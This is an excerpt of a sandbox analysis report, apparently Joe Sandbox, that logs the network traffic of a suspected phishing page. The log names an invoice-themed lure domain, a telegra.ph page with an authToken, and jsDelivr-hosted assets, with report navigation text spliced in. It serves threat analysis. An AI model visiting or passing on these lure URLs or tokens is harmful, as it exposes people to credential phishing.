2025-03-13 14:45:45 UTC	235	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Thu, 13 Mar 2025 14:45:45 GMT Content-Type: text/javascript Content-Length: 5 Connection: close Pragma: no-cache Cache-control: no-store Strict-Transport-Security: max-age=35768000
2025-03-13 14:45:45 UTC	5	IN	Data Raw: 2f 2f 20 6f 6b Data Ascii: // ok

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:47 UTC	654	OUT	GET /favicon.ico?1 HTTP/1.1 Host: telegra.ph Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://telegra.ph/Charlotte-Reeves-03-13?authToken=661de363-1fc1-4007-b38f-852148abf4fc Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:48 UTC	311	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 13 Mar 2025 14:45:48 GMT Content-Type: image/x-icon Content-Length: 5430 Last-Modified: Tue, 22 Nov 2016 15:54:16 GMT Connection: close ETag: "58346a28-1536" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2025-03-13 14:45:48 UTC	5430	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fb fb fb c4 fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fb fb fb c4 fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa Data Ascii: h& (

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:45:50 UTC	387	OUT	GET /favicon.ico?1 HTTP/1.1 Host: telegra.ph Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Sec-Fetch-Storage-Access: active Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:45:51 UTC	311	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 13 Mar 2025 14:45:50 GMT Content-Type: image/x-icon Content-Length: 5430 Last-Modified: Tue, 22 Nov 2016 15:54:16 GMT Connection: close ETag: "58346a28-1536" Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Accept-Ranges: bytes
2025-03-13 14:45:51 UTC	5430	IN	Data Raw: 00 00 01 00 02 00 10 10 00 00 01 00 20 00 68 04 00 00 26 00 00 00 20 20 00 00 01 00 20 00 a8 10 00 00 8e 04 00 00 28 00 00 00 10 00 00 00 20 00 00 00 01 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fb fb fb c4 fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fb fb fb c4 fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa fa fa ff fa Data Ascii: h& (

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:46:00 UTC	702	OUT	GET /gh/pranaynamnaik/files@latest/micro-123787483.png HTTP/1.1 Host: cdn.jsdelivr.net Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Sec-Fetch-Storage-Access: active Referer: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:46:00 UTC	727	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1746 Access-Control-Allow-Origin: * Access-Control-Expose-Headers: * Timing-Allow-Origin: * Cache-Control: public, max-age=604800, s-maxage=43200 Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Content-Type: image/png X-JSD-Version: master X-JSD-Version-Type: branch ETag: W/"6d2-AYrTQKiV+wIbV7PAik2IZG8pgfE" Accept-Ranges: bytes Age: 42139 Date: Thu, 13 Mar 2025 14:46:00 GMT X-Served-By: cache-fra-etou8220171-FRA, cache-mia-kmia1760092-MIA X-Cache: HIT, HIT Vary: Accept-Encoding alt-svc: h3=":443";ma=86400,h3-29=":443";ma=86400,h3-27=":443";ma=86400
2025-03-13 14:46:00 UTC	1378	IN	Data Raw: 52 49 46 46 ca 06 00 00 57 45 42 50 56 50 38 4c bd 06 00 00 2f ff c4 3f 11 1e 3a b6 b5 29 92 9c da dd 4c 65 66 c3 f0 78 d3 a6 b4 8a 5e 86 a0 40 cc 54 95 15 59 62 66 96 25 79 da 0a cb ca 9e 86 50 44 dd 3c a3 05 b0 c9 cc e4 cb 65 4b 16 5b 63 89 7c c9 93 20 39 92 a4 48 0a c5 9f 67 29 b3 97 e9 c4 0c 4f 5c 75 65 96 ba aa 87 03 6e 24 49 8e 9c 8a 7e 13 40 2f ae e7 39 27 36 c2 07 c8 dc 34 ba 7b af 51 11 c0 c0 b2 6d 3b 6d b3 ac af 2e 0b 1c e6 e9 37 5f 1d 04 a3 65 c9 9c e2 00 c2 0c 4e 9e 73 27 a0 aa 81 c8 b5 ac 41 2b 9b 3e ca 74 7a 20 5c eb 7a 67 b0 ae b5 8f 08 a7 bb f0 0c 11 9c e0 da 0b d0 38 d4 38 88 5b 83 71 89 5d 8a 0c 5a dd f5 d1 0f a7 6b 1a d4 ba de 1f ac 4d d7 3c 20 82 11 5c 7f 09 82 41 fc c7 7f fc c7 7f fc c7 7f fc 87 18 fd 68 d3 e4 4f 91 91 f0 1f ff f1 1f Data Ascii: RIFFWEBPVP8L/?:)Lefx^@TYbf%yPD<eK[c\| 9Hg)O\uen$I~@/9'64{Qm;m.7_eNs'A+>tz \zg88[q]ZkM< \AhO
2025-03-13 14:46:00 UTC	368	IN	Data Raw: ee 2a c6 ec 56 a7 71 8f 31 3b 44 ad ef 9f c3 33 46 ac 69 db 66 b3 82 6b 25 3c 3b 9b 85 b8 b5 ee ba f0 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff f1 1f ff Data Ascii: *Vq1;D3Fifk%<;

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:46:00 UTC	621	OUT	GET /turnstile/v0/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:46:00 UTC	386	IN	HTTP/1.1 302 Found Date: Thu, 13 Mar 2025 14:46:00 GMT Content-Length: 0 Connection: close access-control-allow-origin: * cache-control: max-age=300, stale-if-error=10800, stale-while-revalidate=300, public cross-origin-resource-policy: cross-origin location: /turnstile/v0/g/f3b948d8acb8/api.js Server: cloudflare CF-RAY: 91fc517dba33da6f-MIA alt-svc: h3=":443"; ma=86400

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Chrome Cache Entry: 100

Chrome Cache Entry: 101

Chrome Cache Entry: 102

Chrome Cache Entry: 103

Chrome Cache Entry: 104

Chrome Cache Entry: 76

Chrome Cache Entry: 77

Chrome Cache Entry: 78

Chrome Cache Entry: 79

Chrome Cache Entry: 80

Chrome Cache Entry: 81

Chrome Cache Entry: 82

Chrome Cache Entry: 83

Chrome Cache Entry: 84

Chrome Cache Entry: 85

Chrome Cache Entry: 86

Chrome Cache Entry: 87

Chrome Cache Entry: 88

Chrome Cache Entry: 89

Chrome Cache Entry: 90

Chrome Cache Entry: 91

Chrome Cache Entry: 92

Chrome Cache Entry: 93

Chrome Cache Entry: 94

Chrome Cache Entry: 95

Chrome Cache Entry: 96

Chrome Cache Entry: 97

Chrome Cache Entry: 98

Chrome Cache Entry: 99

Static File Info

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:46:02 UTC	636	OUT	GET /turnstile/v0/g/f3b948d8acb8/api.js HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-13 14:46:02 UTC	471	IN	HTTP/1.1 200 OK Date: Thu, 13 Mar 2025 14:46:02 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 48239 Connection: close accept-ranges: bytes last-modified: Fri, 28 Feb 2025 15:24:08 GMT cache-control: max-age=31536000, stale-if-error=10800, stale-while-revalidate=31536000, public access-control-allow-origin: * cross-origin-resource-policy: cross-origin Server: cloudflare CF-RAY: 91fc518ab82cdac1-MIA alt-svc: h3=":443"; ma=86400
2025-03-13 14:46:02 UTC	898	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 48 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 29 7b 74 72 79 7b 76 61 72 20 68 3d 65 5b 6c 5d 28 76 29 2c 73 3d 68 2e 76 61 6c 75 65 7d 63 61 74 63 68 28 70 29 7b 61 28 70 29 3b 72 65 74 75 72 6e 7d 68 2e 64 6f 6e 65 3f 74 28 73 29 3a 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 73 29 2e 74 68 65 6e 28 6f 2c 63 29 7d 66 75 6e 63 74 69 6f 6e 20 71 74 28 65 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2c 61 3d 61 72 67 75 6d 65 6e 74 73 3b 72 65 74 75 72 6e 20 6e 65 77 20 50 72 6f 6d 69 73 65 28 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 76 61 72 20 6c 3d 65 2e 61 70 70 6c 79 28 74 2c 61 29 3b 66 75 6e 63 74 Data Ascii: "use strict";(function(){function Ht(e,t,a,o,c,l,v){try{var h=e[l](v),s=h.value}catch(p){a(p);return}h.done?t(s):Promise.resolve(s).then(o,c)}function qt(e){return function(){var t=this,a=arguments;return new Promise(function(o,c){var l=e.apply(t,a);funct
2025-03-13 14:46:02 UTC	1369	IN	Data Raw: 20 65 7d 66 75 6e 63 74 69 6f 6e 20 49 72 28 65 2c 74 29 7b 76 61 72 20 61 3d 4f 62 6a 65 63 74 2e 6b 65 79 73 28 65 29 3b 69 66 28 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 29 7b 76 61 72 20 6f 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 53 79 6d 62 6f 6c 73 28 65 29 3b 74 26 26 28 6f 3d 6f 2e 66 69 6c 74 65 72 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 74 79 44 65 73 63 72 69 70 74 6f 72 28 65 2c 63 29 2e 65 6e 75 6d 65 72 61 62 6c 65 7d 29 29 2c 61 2e 70 75 73 68 2e 61 70 70 6c 79 28 61 2c 6f 29 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 69 74 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 3d 74 21 3d 6e 75 Data Ascii: e}function Ir(e,t){var a=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertySymbols(e);t&&(o=o.filter(function(c){return Object.getOwnPropertyDescriptor(e,c).enumerable})),a.push.apply(a,o)}return a}function it(e,t){return t=t!=nu
2025-03-13 14:46:02 UTC	1369	IN	Data Raw: 72 61 79 24 2f 2e 74 65 73 74 28 61 29 29 72 65 74 75 72 6e 20 6f 74 28 65 2c 74 29 7d 7d 66 75 6e 63 74 69 6f 6e 20 49 65 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 7a 74 28 65 29 7c 7c 42 74 28 65 2c 74 29 7c 7c 58 74 28 65 2c 74 29 7c 7c 47 74 28 29 7d 66 75 6e 63 74 69 6f 6e 20 46 28 65 29 7b 22 40 73 77 63 2f 68 65 6c 70 65 72 73 20 2d 20 74 79 70 65 6f 66 22 3b 72 65 74 75 72 6e 20 65 26 26 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 3f 22 73 79 6d 62 6f 6c 22 3a 74 79 70 65 6f 66 20 65 7d 66 75 6e 63 74 69 6f 6e 20 50 65 28 65 2c 74 29 7b 76 61 72 20 61 3d 7b 6c 61 62 65 6c 3a 30 2c 73 65 6e 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 6c 5b 30 Data Ascii: ray$/.test(a))return ot(e,t)}}function Ie(e,t){return zt(e)\|\|Bt(e,t)\|\|Xt(e,t)\|\|Gt()}function F(e){"@swc/helpers - typeof";return e&&typeof Symbol!="undefined"&&e.constructor===Symbol?"symbol":typeof e}function Pe(e,t){var a={label:0,sent:function(){if(l[0
2025-03-13 14:46:02 UTC	1369	IN	Data Raw: 74 69 6f 6e 3a 22 54 75 72 6e 73 74 69 6c 65 27 73 20 61 70 69 2e 6a 73 20 77 61 73 20 6c 6f 61 64 65 64 2c 20 62 75 74 20 74 68 65 20 69 66 72 61 6d 65 20 75 6e 64 65 72 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 6c 6f 61 64 65 64 2e 20 48 61 73 20 74 68 65 20 76 69 73 69 74 6f 72 20 62 6c 6f 63 6b 65 64 20 73 6f 6d 65 20 70 61 72 74 73 20 6f 66 20 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 20 6f 72 20 61 72 65 20 74 68 65 79 20 73 65 6c 66 2d 68 6f 73 74 69 6e 67 20 61 70 69 2e 6a 73 3f 22 7d 3b 76 61 72 20 51 74 3d 33 30 30 30 32 30 3b 76 61 72 20 57 65 3d 33 30 30 30 33 30 3b 76 61 72 20 55 65 3d 33 30 30 30 33 31 3b 76 61 72 20 71 3b 28 66 75 Data Ascii: tion:"Turnstile's api.js was loaded, but the iframe under challenges.cloudflare.com could not be loaded. Has the visitor blocked some parts of challenges.cloudflare.com or are they self-hosting api.js?"};var Qt=300020;var We=300030;var Ue=300031;var q;(fu
2025-03-13 14:46:02 UTC	1369	IN	Data Raw: 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 65 65 7c 7c 28 65 65 3d 7b 7d 29 29 3b 76 61 72 20 63 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 4e 65 76 65 72 3d 22 6e 65 76 65 72 22 2c 65 2e 4d 61 6e 75 61 6c 3d 22 6d 61 6e 75 61 6c 22 2c 65 2e 41 75 74 6f 3d 22 61 75 74 6f 22 7d 29 28 63 65 7c 7c 28 63 65 3d 7b 7d 29 29 3b 76 61 72 20 51 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 41 6c 77 61 79 73 3d 22 61 6c 77 61 79 73 22 2c 65 2e 45 78 65 63 75 74 65 3d 22 65 78 65 63 75 74 65 22 2c 65 2e 49 6e 74 65 72 61 63 74 69 6f 6e 4f 6e 6c 79 3d 22 69 6e 74 65 72 61 63 74 69 6f 6e 2d 6f 6e 6c 79 22 7d 29 28 51 7c 7c 28 51 3d 7b 7d 29 29 3b 76 61 72 20 6d 65 3b 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 52 65 6e 64 65 72 Data Ascii: manual",e.Auto="auto"})(ee\|\|(ee={}));var ce;(function(e){e.Never="never",e.Manual="manual",e.Auto="auto"})(ce\|\|(ce={}));var Q;(function(e){e.Always="always",e.Execute="execute",e.InteractionOnly="interaction-only"})(Q\|\|(Q={}));var me;(function(e){e.Render
2025-03-13 14:46:02 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 20 70 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 4d 2e 4e 6f 72 6d 61 6c 2c 4d 2e 43 6f 6d 70 61 63 74 2c 4d 2e 49 6e 76 69 73 69 62 6c 65 2c 4d 2e 46 6c 65 78 69 62 6c 65 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 76 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 74 28 65 29 7b 72 65 74 75 72 6e 20 4c 28 5b 22 61 75 74 6f 22 2c 22 6d 61 6e 75 61 6c 22 2c 22 6e 65 76 65 72 22 5d 2c 65 29 7d 76 61 72 20 4e 72 3d 2f 5e 5b 61 2d 7a 5d 7b 32 2c 33 7d 28 5b 2d 5f 5d 5b 61 2d 7a 5d 7b 32 7d 29 3f 24 2f 69 3b 66 75 6e 63 74 69 6f 6e 20 67 74 28 65 29 7b 72 65 74 75 72 6e 20 65 3d 3d 3d 22 61 75 74 6f 22 7c 7c 4e 72 2e 74 65 73 74 Data Ascii: unction pt(e){return L([M.Normal,M.Compact,M.Invisible,M.Flexible],e)}function vt(e){return L(["auto","manual","never"],e)}function mt(e){return L(["auto","manual","never"],e)}var Nr=/^[a-z]{2,3}([-_][a-z]{2})?$/i;function gt(e){return e==="auto"\|\|Nr.test
2025-03-13 14:46:02 UTC	1369	IN	Data Raw: 72 22 2c 22 72 6f 2d 72 6f 22 5d 3b 66 75 6e 63 74 69 6f 6e 20 54 74 28 65 2c 74 29 7b 76 61 72 20 61 3d 22 68 74 74 70 73 3a 2f 2f 63 68 61 6c 6c 65 6e 67 65 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 22 3b 69 66 28 74 29 7b 76 61 72 20 6f 3b 61 3d 28 6f 3d 65 5b 22 62 61 73 65 2d 75 72 6c 22 5d 29 21 3d 3d 6e 75 6c 6c 26 26 6f 21 3d 3d 76 6f 69 64 20 30 3f 6f 3a 61 7d 72 65 74 75 72 6e 20 61 7d 66 75 6e 63 74 69 6f 6e 20 52 74 28 65 2c 74 2c 61 2c 6f 2c 63 2c 6c 2c 76 2c 68 29 7b 76 61 72 20 73 3d 54 74 28 61 2c 63 29 2c 70 3d 6c 3f 22 68 2f 22 2e 63 6f 6e 63 61 74 28 6c 2c 22 2f 22 29 3a 22 22 2c 5f 3d 68 3f 22 3f 22 2e 63 6f 6e 63 61 74 28 68 29 3a 22 22 2c 41 3d 61 5b 22 66 65 65 64 62 61 63 6b 2d 65 6e 61 62 6c 65 64 22 5d 3d 3d 3d 21 31 3f 22 Data Ascii: r","ro-ro"];function Tt(e,t){var a="https://challenges.cloudflare.com";if(t){var o;a=(o=e["base-url"])!==null&&o!==void 0?o:a}return a}function Rt(e,t,a,o,c,l,v,h){var s=Tt(a,c),p=l?"h/".concat(l,"/"):"",_=h?"?".concat(h):"",A=a["feedback-enabled"]===!1?"
2025-03-13 14:46:02 UTC	1369	IN	Data Raw: 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 7c 7c 66 75 6e 63 74 69 6f 6e 28 6f 2c 63 29 7b 72 65 74 75 72 6e 20 6f 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 63 2c 6f 7d 2c 74 65 28 65 2c 74 29 7d 66 75 6e 63 74 69 6f 6e 20 75 72 28 65 2c 74 29 7b 69 66 28 74 79 70 65 6f 66 20 74 21 3d 22 66 75 6e 63 74 69 6f 6e 22 26 26 74 21 3d 3d 6e 75 6c 6c 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 75 70 65 72 20 65 78 70 72 65 73 73 69 6f 6e 20 6d 75 73 74 20 65 69 74 68 65 72 20 62 65 20 6e 75 6c 6c 20 6f 72 20 61 20 66 75 6e 63 74 69 6f 6e 22 29 3b 65 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 74 26 26 74 2e 70 72 6f 74 6f 74 79 70 65 2c 7b 63 6f 6e 73 74 72 75 63 74 6f 72 3a 7b 76 61 6c 75 65 3a 65 2c 77 Data Ascii: ect.setPrototypeOf\|\|function(o,c){return o.__proto__=c,o},te(e,t)}function ur(e,t){if(typeof t!="function"&&t!==null)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,w
2025-03-13 14:46:02 UTC	1369	IN	Data Raw: 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 7d 7d 29 2c 74 65 28 63 2c 6f 29 7d 2c 47 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 73 72 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 26 26 28 46 28 74 29 3d 3d 3d 22 6f 62 6a 65 63 74 22 7c 7c 74 79 70 65 6f 66 20 74 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 3f 74 3a 7a 65 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 64 72 28 65 29 7b 76 61 72 20 74 3d 42 65 28 29 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6f 3d 6c 65 28 65 29 2c 63 3b 69 66 28 74 29 7b 76 61 72 20 6c 3d 6c 65 28 74 68 69 73 29 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3b 63 3d 52 65 66 6c 65 63 74 2e 63 6f 6e 73 74 72 75 63 74 28 6f 2c 61 72 67 75 6d 65 6e 74 73 2c 6c 29 7d 65 6c 73 65 20 63 3d 6f 2e 61 70 70 6c 79 28 74 68 69 73 Data Ascii: ,configurable:!0}}),te(c,o)},Ge(e)}function sr(e,t){return t&&(F(t)==="object"\|\|typeof t=="function")?t:ze(e)}function dr(e){var t=Be();return function(){var o=le(e),c;if(t){var l=le(this).constructor;c=Reflect.construct(o,arguments,l)}else c=o.apply(this
2025-03-13 14:46:02 UTC	1369	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 61 29 7b 76 61 72 20 6f 3d 54 74 28 74 2e 70 61 72 61 6d 73 2c 21 31 29 2c 63 3d 22 68 2f 22 2e 63 6f 6e 63 61 74 28 22 67 22 2c 22 2f 22 29 2c 6c 2c 76 2c 68 3d 22 22 2e 63 6f 6e 63 61 74 28 6f 2c 22 2f 63 64 6e 2d 63 67 69 2f 63 68 61 6c 6c 65 6e 67 65 2d 70 6c 61 74 66 6f 72 6d 2f 22 29 2e 63 6f 6e 63 61 74 28 63 2c 22 66 65 65 64 62 61 63 6b 2d 72 65 70 6f 72 74 73 2f 22 29 2e 63 6f 6e 63 61 74 28 58 65 28 65 29 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 74 2e 64 69 73 70 6c 61 79 4c 61 6e 67 75 61 67 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 28 76 3d 74 2e 70 61 72 61 6d 73 2e 74 68 65 6d 65 29 21 3d 3d 6e 75 6c 6c 26 26 76 21 3d 3d 76 6f 69 64 20 30 3f 76 3a 74 2e 74 68 65 6d 65 2c 22 2f 22 29 2e 63 6f 6e 63 61 74 28 Data Ascii: unction(e,t,a){var o=Tt(t.params,!1),c="h/".concat("g","/"),l,v,h="".concat(o,"/cdn-cgi/challenge-platform/").concat(c,"feedback-reports/").concat(Xe(e),"/").concat(t.displayLanguage,"/").concat((v=t.params.theme)!==null&&v!==void 0?v:t.theme,"/").concat(

Timestamp	Bytes transferred	Direction	Data
2025-03-13 14:46:04 UTC	877	OUT	GET /cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/ta6tn/0x4AAAAAAA-uZx5FUOdPH-Fx/auto/fbE/new/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Sec-Fetch-Storage-Access: active Referer: https://maintenanceinvoicedocument.siluetaneblewulosa.it.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
